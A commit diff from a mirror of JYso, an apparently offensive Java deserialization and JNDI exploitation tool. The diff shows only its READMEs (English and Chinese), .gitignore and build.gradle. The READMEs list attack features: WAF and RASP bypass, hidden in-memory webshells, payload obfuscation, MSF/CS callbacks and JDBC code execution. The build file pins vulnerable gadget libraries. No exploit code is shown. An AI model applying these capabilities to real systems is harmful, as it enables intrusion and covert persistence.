mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-25 16:21:52 +08:00
refactor: mac
This commit is contained in:
+5
-5
@@ -1,6 +1,6 @@
|
|||||||
.idea/
|
.idea/
|
||||||
.gradle/
|
.gradle/
|
||||||
out/
|
out/
|
||||||
.DS_Store
|
.DS_Store
|
||||||
/build
|
/build
|
||||||
1.ser
|
1.ser
|
||||||
+673
-673
File diff suppressed because it is too large
Load Diff
+87
-87
@@ -1,87 +1,87 @@
|
|||||||
<p align="center">
|
<p align="center">
|
||||||
<img src="docs/img/logo.png" width="120">
|
<img src="docs/img/logo.png" width="120">
|
||||||
</p>
|
</p>
|
||||||
<h1 align="center"> JYso </h1>
|
<h1 align="center"> JYso </h1>
|
||||||
|
|
||||||
<p align="center">
|
<p align="center">
|
||||||
<img src="https://img.shields.io/badge/JDK-1.8+-orange" />
|
<img src="https://img.shields.io/badge/JDK-1.8+-orange" />
|
||||||
<img src="https://img.shields.io/badge/gradle-8.7-blue" />
|
<img src="https://img.shields.io/badge/gradle-8.7-blue" />
|
||||||
<img src="https://img.shields.io/badge/SDL-Groovy-green" />
|
<img src="https://img.shields.io/badge/SDL-Groovy-green" />
|
||||||
|
|
||||||
<p align="center"> It can be used as a tool for ysoserial and JNDIExploit at the same time, and has the bypass function of multiple JNDI high versions, WAF, and RASP </p>
|
<p align="center"> It can be used as a tool for ysoserial and JNDIExploit at the same time, and has the bypass function of multiple JNDI high versions, WAF, and RASP </p>
|
||||||
|
|
||||||
## 🚀 Getting Started Guide
|
## 🚀 Getting Started Guide
|
||||||
|
|
||||||
📢 Please take a moment to read this document, it will help you quickly get familiar with JYso!
|
📢 Please take a moment to read this document, it will help you quickly get familiar with JYso!
|
||||||
|
|
||||||
🧐 Use the Documentation [Wiki](https://github.com/qi4L/JYso/wiki).
|
🧐 Use the Documentation [Wiki](https://github.com/qi4L/JYso/wiki).
|
||||||
|
|
||||||
✔ Download the latest version of [Releases](https://github.com/qi4L/JYso/releases).
|
✔ Download the latest version of [Releases](https://github.com/qi4L/JYso/releases).
|
||||||
|
|
||||||
## 👍 Features
|
## 👍 Features
|
||||||
|
|
||||||
+ JNDI account password startup
|
+ JNDI account password startup
|
||||||
+ JNDI route hiding or encryption
|
+ JNDI route hiding or encryption
|
||||||
+ JNDI high version Bypass
|
+ JNDI high version Bypass
|
||||||
+ Customize the path, password, HTTP header and value of the memory horse
|
+ Customize the path, password, HTTP header and value of the memory horse
|
||||||
+ Memory horse supports [Fileless landing Agent insertion](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond)
|
+ Memory horse supports [Fileless landing Agent insertion](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond)
|
||||||
+ Memory horse writes JRE or environment variables to hide
|
+ Memory horse writes JRE or environment variables to hide
|
||||||
+ Serialized data plus dirty data
|
+ Serialized data plus dirty data
|
||||||
+ [Serialized data is encoded in UTF-8 corresponding to 3 bytes](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/)
|
+ [Serialized data is encoded in UTF-8 corresponding to 3 bytes](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/)
|
||||||
+ TemplatesImpl _bytecodes feature eliminated and size reduced
|
+ TemplatesImpl _bytecodes feature eliminated and size reduced
|
||||||
+ SignedObject secondary deserialization, can be used to bypass TemplatesImpl blacklist, CC without array and blacklist often seen in CTF, etc.
|
+ SignedObject secondary deserialization, can be used to bypass TemplatesImpl blacklist, CC without array and blacklist often seen in CTF, etc.
|
||||||
+ Solve the problem of Shiro Header being too long, get the value of the specified parameter from the request for class loading
|
+ Solve the problem of Shiro Header being too long, get the value of the specified parameter from the request for class loading
|
||||||
+ Dynamically generate obfuscated class names
|
+ Dynamically generate obfuscated class names
|
||||||
+ MSF/CS online
|
+ MSF/CS online
|
||||||
+ Code execution through JDBC
|
+ Code execution through JDBC
|
||||||
|
|
||||||
If you have other great ideas, please let me know! 😎
|
If you have other great ideas, please let me know! 😎
|
||||||
|
|
||||||
## 🐯 Compile
|
## 🐯 Compile
|
||||||
|
|
||||||
Download gradle8.7+ and configure it in the global environment variable, and execute it in the project root directory
|
Download gradle8.7+ and configure it in the global environment variable, and execute it in the project root directory
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
./gradlew shadowJar
|
./gradlew shadowJar
|
||||||
```
|
```
|
||||||
|
|
||||||
## 🌲Directory structure
|
## 🌲Directory structure
|
||||||
|
|
||||||
For more information, please refer to [Directory structure description](docs/directory_structure.md).
|
For more information, please refer to [Directory structure description](docs/directory_structure.md).
|
||||||
|
|
||||||
## ✨ CTStack
|
## ✨ CTStack
|
||||||
|
|
||||||
<img src="https://ctstack-oss.oss-cn-beijing.aliyuncs.com/CT%20Stack-2.png" width="30%" />
|
<img src="https://ctstack-oss.oss-cn-beijing.aliyuncs.com/CT%20Stack-2.png" width="30%" />
|
||||||
|
|
||||||
JYso has joined the [CTStack](https://stack.chaitin.com/tool/detail/1303) community
|
JYso has joined the [CTStack](https://stack.chaitin.com/tool/detail/1303) community
|
||||||
|
|
||||||
## ✨ 404Starlink
|
## ✨ 404Starlink
|
||||||
|
|
||||||
<img src="https://raw.githubusercontent.com/knownsec/404StarLink-Project/master/logo.png" alt="404StarLink Project Logo" width="30%" loading="lazy">
|
<img src="https://raw.githubusercontent.com/knownsec/404StarLink-Project/master/logo.png" alt="404StarLink Project Logo" width="30%" loading="lazy">
|
||||||
|
|
||||||
JYso has joined [404Starlink](https://github.com/knownsec/404StarLink)
|
JYso has joined [404Starlink](https://github.com/knownsec/404StarLink)
|
||||||
|
|
||||||
1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3)
|
1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3)
|
||||||
|
|
||||||
## 📷 Acknowledgements
|
## 📷 Acknowledgements
|
||||||
|
|
||||||
- https://github.com/veracode-research/rogue-jndi
|
- https://github.com/veracode-research/rogue-jndi
|
||||||
- https://github.com/welk1n/JNDI-Injection-Exploit
|
- https://github.com/welk1n/JNDI-Injection-Exploit
|
||||||
- https://github.com/welk1n/JNDI-Injection-Bypass
|
- https://github.com/welk1n/JNDI-Injection-Bypass
|
||||||
- https://github.com/WhiteHSBG/JNDIExploit
|
- https://github.com/WhiteHSBG/JNDIExploit
|
||||||
- https://github.com/su18/ysoserial
|
- https://github.com/su18/ysoserial
|
||||||
- https://github.com/rebeyond/Behinder
|
- https://github.com/rebeyond/Behinder
|
||||||
- https://github.com/Whoopsunix/utf-8-overlong-encoding
|
- https://github.com/Whoopsunix/utf-8-overlong-encoding
|
||||||
- https://github.com/mbechler/marshalsec
|
- https://github.com/mbechler/marshalsec
|
||||||
- https://t.zsxq.com/17LkqCzk8
|
- https://t.zsxq.com/17LkqCzk8
|
||||||
- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg
|
- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg
|
||||||
- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697
|
- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697
|
||||||
- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/
|
- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/
|
||||||
- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce
|
- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce
|
||||||
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7
|
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7
|
||||||
- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/
|
- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/
|
||||||
- https://tttang.com/archive/1405/#toc_groovyclassloader
|
- https://tttang.com/archive/1405/#toc_groovyclassloader
|
||||||
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F
|
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F
|
||||||
- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html
|
- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html
|
||||||
- https://tttang.com/archive/1405/#toc_druid
|
- https://tttang.com/archive/1405/#toc_druid
|
||||||
|
|
||||||
|
|||||||
@@ -1,89 +1,89 @@
|
|||||||
<p style="text-align: center;">
|
<p style="text-align: center;">
|
||||||
<img src="docs/img/logo.png" width="150" alt="100">
|
<img src="docs/img/logo.png" width="150" alt="100">
|
||||||
</p>
|
</p>
|
||||||
<h1 style="text-align: center;"> JYso </h1>
|
<h1 style="text-align: center;"> JYso </h1>
|
||||||
|
|
||||||
<p style="text-align: center;">
|
<p style="text-align: center;">
|
||||||
<img src="https://img.shields.io/badge/JDK-1.8+-orange" alt=""/>
|
<img src="https://img.shields.io/badge/JDK-1.8+-orange" alt=""/>
|
||||||
<img src="https://img.shields.io/badge/gradle-8.7-blue" alt=""/>
|
<img src="https://img.shields.io/badge/gradle-8.7-blue" alt=""/>
|
||||||
<img src="https://img.shields.io/badge/SDL-Groovy-green" alt=""/>
|
<img src="https://img.shields.io/badge/SDL-Groovy-green" alt=""/>
|
||||||
|
|
||||||
<p style="text-align: center;"> 可以同时当做 ysoserial 与 JNDIExploit 使用的工具,同时具备多种JNDI高版本、WAF、RASP的Bypass功能 </p>
|
<p style="text-align: center;"> 可以同时当做 ysoserial 与 JNDIExploit 使用的工具,同时具备多种JNDI高版本、WAF、RASP的Bypass功能 </p>
|
||||||
|
|
||||||
<p style="text-align: center;"> 中文文档 | <a href="README.en.md">English</a> </p>
|
<p style="text-align: center;"> 中文文档 | <a href="README.en.md">English</a> </p>
|
||||||
|
|
||||||
## 🚀 上手指南
|
## 🚀 上手指南
|
||||||
|
|
||||||
📢 请务必花一点时间阅读此文档,有助于你快速熟悉JYso!
|
📢 请务必花一点时间阅读此文档,有助于你快速熟悉JYso!
|
||||||
|
|
||||||
🧐 使用文档[Wiki](https://github.com/qi4L/JYso/wiki)。
|
🧐 使用文档[Wiki](https://github.com/qi4L/JYso/wiki)。
|
||||||
|
|
||||||
✔ 下载最新版本的[Releases](https://github.com/qi4L/JYso/releases)。
|
✔ 下载最新版本的[Releases](https://github.com/qi4L/JYso/releases)。
|
||||||
|
|
||||||
## 👍 特点
|
## 👍 特点
|
||||||
|
|
||||||
+ JNDI 账号密码启动
|
+ JNDI 账号密码启动
|
||||||
+ JNDI 路由隐藏或加密
|
+ JNDI 路由隐藏或加密
|
||||||
+ JNDI 高版本Bypass
|
+ JNDI 高版本Bypass
|
||||||
+ 自定义修改内存马的路径、密码、验证的HTTP头与值
|
+ 自定义修改内存马的路径、密码、验证的HTTP头与值
|
||||||
+ 内存马支持[无文件落地Agent打入](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond)
|
+ 内存马支持[无文件落地Agent打入](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond)
|
||||||
+ 内存马写入 JRE 或环境变量来隐藏
|
+ 内存马写入 JRE 或环境变量来隐藏
|
||||||
+ 序列化数据加脏数据
|
+ 序列化数据加脏数据
|
||||||
+ [序列化数据进行3字节对应的UTF-8编码](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/)
|
+ [序列化数据进行3字节对应的UTF-8编码](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/)
|
||||||
+ TemplatesImpl 的 _bytecodes 特征消除且做了大小缩减
|
+ TemplatesImpl 的 _bytecodes 特征消除且做了大小缩减
|
||||||
+ SignedObject 二次反序列化,可用于绕过如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等
|
+ SignedObject 二次反序列化,可用于绕过如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等
|
||||||
+ 解决 Shiro Header 头部过长,从 request 中获取指定参数的值进行类加载
|
+ 解决 Shiro Header 头部过长,从 request 中获取指定参数的值进行类加载
|
||||||
+ 动态生成混淆的类名
|
+ 动态生成混淆的类名
|
||||||
+ MSF/CS 上线
|
+ MSF/CS 上线
|
||||||
+ 通过JDBC来进行代码执行
|
+ 通过JDBC来进行代码执行
|
||||||
|
|
||||||
如果你有其他很棒的想法请务必告诉我!😎
|
如果你有其他很棒的想法请务必告诉我!😎
|
||||||
|
|
||||||
## 🐯 编译
|
## 🐯 编译
|
||||||
|
|
||||||
下载 gradle8.7+ 并配置到全局环境变量中,在项目根目录下执行
|
下载 gradle8.7+ 并配置到全局环境变量中,在项目根目录下执行
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
./gradlew shadowJar
|
./gradlew shadowJar
|
||||||
```
|
```
|
||||||
|
|
||||||
## 🌲目录结构
|
## 🌲目录结构
|
||||||
|
|
||||||
更多信息请参阅[目录结构说明](docs/directory_structure.md)。
|
更多信息请参阅[目录结构说明](docs/directory_structure.md)。
|
||||||
|
|
||||||
## ✨ CTStack
|
## ✨ CTStack
|
||||||
|
|
||||||
<img src="https://ctstack-oss.oss-cn-beijing.aliyuncs.com/CT%20Stack-2.png" width="30%" alt=""/>
|
<img src="https://ctstack-oss.oss-cn-beijing.aliyuncs.com/CT%20Stack-2.png" width="30%" alt=""/>
|
||||||
|
|
||||||
JYso 现已加入 [CTStack](https://stack.chaitin.com/tool/detail/1303) 社区
|
JYso 现已加入 [CTStack](https://stack.chaitin.com/tool/detail/1303) 社区
|
||||||
|
|
||||||
## ✨ 404星链计划
|
## ✨ 404星链计划
|
||||||
|
|
||||||
<img src="https://raw.githubusercontent.com/knownsec/404StarLink-Project/master/logo.png" alt="404StarLink Project Logo" width="30%" loading="lazy">
|
<img src="https://raw.githubusercontent.com/knownsec/404StarLink-Project/master/logo.png" alt="404StarLink Project Logo" width="30%" loading="lazy">
|
||||||
|
|
||||||
JYso 现已加入 [404星链计划](https://github.com/knownsec/404StarLink)
|
JYso 现已加入 [404星链计划](https://github.com/knownsec/404StarLink)
|
||||||
|
|
||||||
1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3)
|
1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3)
|
||||||
|
|
||||||
## 📷 参考
|
## 📷 参考
|
||||||
|
|
||||||
- https://github.com/veracode-research/rogue-jndi
|
- https://github.com/veracode-research/rogue-jndi
|
||||||
- https://github.com/welk1n/JNDI-Injection-Exploit
|
- https://github.com/welk1n/JNDI-Injection-Exploit
|
||||||
- https://github.com/welk1n/JNDI-Injection-Bypass
|
- https://github.com/welk1n/JNDI-Injection-Bypass
|
||||||
- https://github.com/WhiteHSBG/JNDIExploit
|
- https://github.com/WhiteHSBG/JNDIExploit
|
||||||
- https://github.com/su18/ysoserial
|
- https://github.com/su18/ysoserial
|
||||||
- https://github.com/rebeyond/Behinder
|
- https://github.com/rebeyond/Behinder
|
||||||
- https://github.com/Whoopsunix/utf-8-overlong-encoding
|
- https://github.com/Whoopsunix/utf-8-overlong-encoding
|
||||||
- https://github.com/mbechler/marshalsec
|
- https://github.com/mbechler/marshalsec
|
||||||
- https://t.zsxq.com/17LkqCzk8
|
- https://t.zsxq.com/17LkqCzk8
|
||||||
- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg
|
- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg
|
||||||
- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697
|
- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697
|
||||||
- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/
|
- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/
|
||||||
- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce
|
- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce
|
||||||
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7
|
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7
|
||||||
- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/
|
- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/
|
||||||
- https://tttang.com/archive/1405/#toc_groovyclassloader
|
- https://tttang.com/archive/1405/#toc_groovyclassloader
|
||||||
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F
|
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F
|
||||||
- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html
|
- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html
|
||||||
- https://tttang.com/archive/1405/#toc_druid
|
- https://tttang.com/archive/1405/#toc_druid
|
||||||
|
|
||||||
|
|||||||
+143
-143
@@ -1,144 +1,144 @@
|
|||||||
plugins {
|
plugins {
|
||||||
id 'java'
|
id 'java'
|
||||||
id 'java-library'
|
id 'java-library'
|
||||||
id 'maven-publish'
|
id 'maven-publish'
|
||||||
id 'com.gradleup.shadow' version '9.4.1'
|
id 'com.gradleup.shadow' version '9.4.1'
|
||||||
}
|
}
|
||||||
|
|
||||||
repositories {
|
repositories {
|
||||||
mavenCentral()
|
mavenCentral()
|
||||||
maven {
|
maven {
|
||||||
url = uri('https://repo.jenkins-ci.org/releases/')
|
url = uri('https://repo.jenkins-ci.org/releases/')
|
||||||
}
|
}
|
||||||
|
|
||||||
maven {
|
maven {
|
||||||
url = uri('https://repo.maven.apache.org/maven2/')
|
url = uri('https://repo.maven.apache.org/maven2/')
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
shadowJar {
|
shadowJar {
|
||||||
archiveClassifier = ''
|
archiveClassifier = ''
|
||||||
zip64 = true
|
zip64 = true
|
||||||
minimize()
|
minimize()
|
||||||
manifest {
|
manifest {
|
||||||
attributes 'Main-Class': 'com.qi4l.JYso.Starter'
|
attributes 'Main-Class': 'com.qi4l.JYso.Starter'
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
configurations.configureEach {
|
configurations.configureEach {
|
||||||
exclude group: 'ch.qos.logback', module: 'logback-classic'
|
exclude group: 'ch.qos.logback', module: 'logback-classic'
|
||||||
exclude group: 'ch.qos.logback', module: 'logback-core'
|
exclude group: 'ch.qos.logback', module: 'logback-core'
|
||||||
}
|
}
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation 'org.apache.logging.log4j:log4j-api:2.20.0'
|
implementation 'org.apache.logging.log4j:log4j-api:2.20.0'
|
||||||
implementation 'org.apache.logging.log4j:log4j-core:2.20.0'
|
implementation 'org.apache.logging.log4j:log4j-core:2.20.0'
|
||||||
implementation 'cn.hutool:hutool-all:5.7.7'
|
implementation 'cn.hutool:hutool-all:5.7.7'
|
||||||
implementation 'com.alibaba:fastjson:1.2.83'
|
implementation 'com.alibaba:fastjson:1.2.83'
|
||||||
implementation 'com.alibaba.fastjson2:fastjson2:2.0.26'
|
implementation 'com.alibaba.fastjson2:fastjson2:2.0.26'
|
||||||
implementation 'com.beust:jcommander:1.78'
|
implementation 'com.beust:jcommander:1.78'
|
||||||
implementation 'com.caucho:resin:4.0.65'
|
implementation 'com.caucho:resin:4.0.65'
|
||||||
implementation 'com.fasterxml.jackson.core:jackson-databind:2.11.3'
|
implementation 'com.fasterxml.jackson.core:jackson-databind:2.11.3'
|
||||||
implementation 'com.ibm.websphere.appserver.api:com.ibm.websphere.appserver.api.wsoc:1.0.10'
|
implementation 'com.ibm.websphere.appserver.api:com.ibm.websphere.appserver.api.wsoc:1.0.10'
|
||||||
implementation 'com.mchange:c3p0:0.9.5.5'
|
implementation 'com.mchange:c3p0:0.9.5.5'
|
||||||
implementation 'com.nqzero:permit-reflect:0.3'
|
implementation 'com.nqzero:permit-reflect:0.3'
|
||||||
implementation 'com.teradata.jdbc:terajdbc:20.00.00.06'
|
implementation 'com.teradata.jdbc:terajdbc:20.00.00.06'
|
||||||
implementation 'com.unboundid:unboundid-ldapsdk:4.0.9'
|
implementation 'com.unboundid:unboundid-ldapsdk:4.0.9'
|
||||||
implementation 'com.vaadin:vaadin-server:7.7.14'
|
implementation 'com.vaadin:vaadin-server:7.7.14'
|
||||||
implementation 'commons-cli:commons-cli:1.5.0'
|
implementation 'commons-cli:commons-cli:1.5.0'
|
||||||
implementation 'io.projectreactor:reactor-core:3.4.26'
|
implementation 'io.projectreactor:reactor-core:3.4.26'
|
||||||
implementation 'io.undertow:undertow-core:2.2.2.Final'
|
implementation 'io.undertow:undertow-core:2.2.2.Final'
|
||||||
implementation 'io.undertow:undertow-servlet:2.2.2.Final'
|
implementation 'io.undertow:undertow-servlet:2.2.2.Final'
|
||||||
implementation 'javax.servlet:javax.servlet-api:4.0.1'
|
implementation 'javax.servlet:javax.servlet-api:4.0.1'
|
||||||
implementation 'javax.websocket:javax.websocket-api:1.1'
|
implementation 'javax.websocket:javax.websocket-api:1.1'
|
||||||
implementation 'jboss:jboss-serialization:4.2.2.GA'
|
implementation 'jboss:jboss-serialization:4.2.2.GA'
|
||||||
implementation 'net.jodah:expiringmap:0.5.9'
|
implementation 'net.jodah:expiringmap:0.5.9'
|
||||||
implementation 'org.apache.click:click-nodeps:2.3.0'
|
implementation 'org.apache.click:click-nodeps:2.3.0'
|
||||||
implementation 'org.apache.commons:commons-collections4:4.0'
|
implementation 'org.apache.commons:commons-collections4:4.0'
|
||||||
implementation 'org.apache.commons:commons-lang3:3.12.0'
|
implementation 'org.apache.commons:commons-lang3:3.12.0'
|
||||||
implementation 'org.apache.commons:commons-text:1.8'
|
implementation 'org.apache.commons:commons-text:1.8'
|
||||||
implementation 'org.apache.maven.plugins:maven-assembly-plugin:3.0.0'
|
implementation 'org.apache.maven.plugins:maven-assembly-plugin:3.0.0'
|
||||||
implementation 'org.apache.myfaces.core:myfaces-impl:2.2.9'
|
implementation 'org.apache.myfaces.core:myfaces-impl:2.2.9'
|
||||||
implementation 'org.apache.tomcat.embed:tomcat-embed-core:8.5.58'
|
implementation 'org.apache.tomcat.embed:tomcat-embed-core:8.5.58'
|
||||||
implementation 'org.apache.tomcat:tomcat-websocket:9.0.62'
|
implementation 'org.apache.tomcat:tomcat-websocket:9.0.62'
|
||||||
implementation 'org.apache.wicket:wicket-util:6.23.0'
|
implementation 'org.apache.wicket:wicket-util:6.23.0'
|
||||||
implementation 'org.aspectj:aspectjweaver:1.9.7'
|
implementation 'org.aspectj:aspectjweaver:1.9.7'
|
||||||
implementation 'org.beanshell:bsh:2.0b5'
|
implementation 'org.beanshell:bsh:2.0b5'
|
||||||
implementation 'org.clojure:clojure:1.8.0'
|
implementation 'org.clojure:clojure:1.8.0'
|
||||||
implementation 'org.codehaus.groovy:groovy:2.4.5'
|
implementation 'org.codehaus.groovy:groovy:2.4.5'
|
||||||
implementation 'org.eclipse.jetty:jetty-ant:11.0.7'
|
implementation 'org.eclipse.jetty:jetty-ant:11.0.7'
|
||||||
implementation 'org.fusesource.jansi:jansi:2.4.0'
|
implementation 'org.fusesource.jansi:jansi:2.4.0'
|
||||||
implementation 'org.glassfish.tyrus:tyrus-server:2.0.0'
|
implementation 'org.glassfish.tyrus:tyrus-server:2.0.0'
|
||||||
implementation 'org.hibernate:hibernate-core:4.3.11.Final'
|
implementation 'org.hibernate:hibernate-core:4.3.11.Final'
|
||||||
implementation 'org.javassist:javassist:3.29.2-GA'
|
implementation 'org.javassist:javassist:3.29.2-GA'
|
||||||
implementation 'org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final'
|
implementation 'org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final'
|
||||||
implementation 'org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final'
|
implementation 'org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final'
|
||||||
implementation 'org.jboss.remoting:jboss-remoting:4.0.19.Final'
|
implementation 'org.jboss.remoting:jboss-remoting:4.0.19.Final'
|
||||||
implementation 'org.jboss.remotingjmx:remoting-jmx:2.0.1.Final'
|
implementation 'org.jboss.remotingjmx:remoting-jmx:2.0.1.Final'
|
||||||
implementation 'org.jboss.spec.javax.security.jacc:jboss-jacc-api_1.4_spec:1.0.3.Final'
|
implementation 'org.jboss.spec.javax.security.jacc:jboss-jacc-api_1.4_spec:1.0.3.Final'
|
||||||
implementation 'org.jboss.weld:weld-core:1.1.33.Final'
|
implementation 'org.jboss.weld:weld-core:1.1.33.Final'
|
||||||
implementation 'org.jenkins-ci.main:remoting:2.55'
|
implementation 'org.jenkins-ci.main:remoting:2.55'
|
||||||
implementation 'org.ow2.asm:asm:8.0.1'
|
implementation 'org.ow2.asm:asm:8.0.1'
|
||||||
implementation 'org.python:jython-standalone:2.5.2'
|
implementation 'org.python:jython-standalone:2.5.2'
|
||||||
implementation 'org.reflections:reflections:0.9.10'
|
implementation 'org.reflections:reflections:0.9.10'
|
||||||
implementation 'org.springframework:spring-aop:5.2.3.RELEASE'
|
implementation 'org.springframework:spring-aop:5.2.3.RELEASE'
|
||||||
implementation 'org.springframework:spring-aop:5.2.3.RELEASE'
|
implementation 'org.springframework:spring-aop:5.2.3.RELEASE'
|
||||||
implementation 'org.springframework:spring-beans:5.2.3.RELEASE'
|
implementation 'org.springframework:spring-beans:5.2.3.RELEASE'
|
||||||
implementation 'org.springframework:spring-context-support:5.2.3.RELEASE'
|
implementation 'org.springframework:spring-context-support:5.2.3.RELEASE'
|
||||||
implementation 'org.springframework:spring-core:5.2.3.RELEASE'
|
implementation 'org.springframework:spring-core:5.2.3.RELEASE'
|
||||||
implementation 'org.springframework:spring-jdbc:5.2.3.RELEASE'
|
implementation 'org.springframework:spring-jdbc:5.2.3.RELEASE'
|
||||||
implementation 'org.springframework:spring-oxm:5.2.3.RELEASE'
|
implementation 'org.springframework:spring-oxm:5.2.3.RELEASE'
|
||||||
implementation 'org.springframework:spring-test:5.2.3.RELEASE'
|
implementation 'org.springframework:spring-test:5.2.3.RELEASE'
|
||||||
implementation 'org.springframework:spring-tx:5.2.3.RELEASE'
|
implementation 'org.springframework:spring-tx:5.2.3.RELEASE'
|
||||||
implementation 'org.springframework:spring-web:5.2.3.RELEASE'
|
implementation 'org.springframework:spring-web:5.2.3.RELEASE'
|
||||||
implementation 'org.springframework:spring-webmvc:5.2.3.RELEASE'
|
implementation 'org.springframework:spring-webmvc:5.2.3.RELEASE'
|
||||||
implementation 'rhino:js:1.7R2'
|
implementation 'rhino:js:1.7R2'
|
||||||
implementation 'rome:rome:1.0'
|
implementation 'rome:rome:1.0'
|
||||||
implementation 'xerces:xercesImpl:2.12.0'
|
implementation 'xerces:xercesImpl:2.12.0'
|
||||||
|
|
||||||
implementation files('libs/jai-core-1.1.3.jar')
|
implementation files('libs/jai-core-1.1.3.jar')
|
||||||
implementation files('libs/weblogic-server.jar')
|
implementation files('libs/weblogic-server.jar')
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation('commons-collections:commons-collections') {
|
implementation('commons-collections:commons-collections') {
|
||||||
version {
|
version {
|
||||||
strictly '3.2.1'
|
strictly '3.2.1'
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
implementation('org.apache.commons:commons-collections4') {
|
implementation('org.apache.commons:commons-collections4') {
|
||||||
version {
|
version {
|
||||||
strictly '4.0'
|
strictly '4.0'
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
implementation 'org.codehaus.castor:castor-xml:1.4.1'
|
implementation 'org.codehaus.castor:castor-xml:1.4.1'
|
||||||
implementation 'com.cedarsoftware:json-io:4.9.1'
|
implementation 'com.cedarsoftware:json-io:4.9.1'
|
||||||
